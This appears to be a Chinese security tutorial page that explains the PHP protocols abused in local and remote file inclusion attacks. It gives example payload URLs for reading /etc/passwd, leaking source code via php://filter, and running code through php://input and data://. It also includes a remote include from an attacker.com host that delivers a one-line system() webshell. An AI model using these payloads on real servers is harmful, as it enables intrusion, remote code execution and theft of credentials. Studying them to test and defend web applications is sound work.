常用的协议有哪些

本地文件包含(LFI)协议

本地文件包含通常利用的是 Web 应用对用户输入的文件路径缺乏严格过滤,导致攻击者能够包含服务器上的任意文件

1. file:// 协议

这是最基础、最常见的文件包含协议。它允许你直接引用本地文件系统中的文件

  • 用途:读取服务器上的任意文件,如 /etc/passwd(Linux)或 C:\Windows\win.ini(Windows)
  • 示例http://example.com/vuln.php?file=file:///etc/passwd
  • 特点:如果 Web 应用没有对路径进行充分过滤,攻击者可以利用 ../ 来遍历目录,从而访问到 Web 根目录以外的敏感文件

远程文件包含(RFI)协议

远程文件包含通常出现在 PHP 中,当 allow_url_includeallow_url_fopen 配置都开启时,Web 应用可以包含远程服务器上的文件

1. http://https:// 协议

这是最常见的远程文件包含方式,攻击者可以利用它来包含一个位于自己服务器上的恶意文件,从而在目标服务器上执行代码

  • 用途:在 Web 服务器上执行远程主机上的脚本,通常用于获取Webshell
  • 示例http://example.com/vuln.php?file=http://attacker.com/shell.txt
  • 特点shell.txt文件内容通常是一段Webshell代码,如<?php system($_GET['cmd']); ?>

攻击者利用的伪协议(Pseudo Protocols)

这些协议不是为了包含文件而设计的,但攻击者可以利用它们来读取文件内容、执行代码或绕过 WAF

1. php://filter

这是一个非常强大的伪协议,它允许你对包含的文件内容进行过滤操作,比如编码或解码。最常见的用法是读取 PHP 文件的源码,因为源码中可能包含数据库凭证等敏感信息

  • 用途:读取本地文件的源码,绕过 Web 应用对 php 文件执行的限制
  • 示例http://example.com/vuln.php?file=php://filter/read=convert.base64-encode/resource=index.php
  • 特点:通过 Base64 编码,即使服务器对 .php 文件进行了执行处理,我们也能以明文形式获取其源码

2. php://input

这个协议可以让我们直接从 POST 请求的请求体中读取数据,并作为文件内容进行执行。当文件包含漏洞的参数无法直接在 URL 中写入恶意代码时,这是一个非常有用的绕过方法

  • 用途:通过 POST 请求发送恶意代码并执行
  • 示例:在 POST 请求中,发送数据<?php system($_GET['cmd']); ?>,同时访问http://example.com/vuln.php?file=php://input
  • 特点:常用于绕过 WAF 对 URL 中特定字符串的检测

3. data://

这个协议可以让我们在 URL 中直接嵌入数据,并作为文件内容执行。这在某些情况下可以绕过一些过滤规则,因为它不依赖于外部文件

  • 用途:在 URL 中直接执行恶意代码
  • 示例http://example.com/vuln.php?file=data://text/plain,<?php%20system('id');%20?>
  • 特点:如果 Web 应用对 URL 中的特殊字符进行过滤,这种方式可能会失效

4. phar://

这个协议常用于反序列化攻击,尤其是在 PHAR 归档文件中。攻击者可以创建一个恶意的 PHAR 文件,并在其中嵌入恶意代码或反序列化对象,当服务器通过文件包含加载这个文件时,就会触发反序列化操作

  • 用途:利用 PHP 反序列化漏洞,执行任意命令
  • 示例http://example.com/vuln.php?file=phar:///path/to/archive.phar
  • 特点:这种攻击方式通常需要配合一个反序列化漏洞才能成功
Copyright © 版权信息 all right reserved,powered by Gitbook该文件修订时间: 2025-09-25 03:12:59

results matching ""

    No results matching ""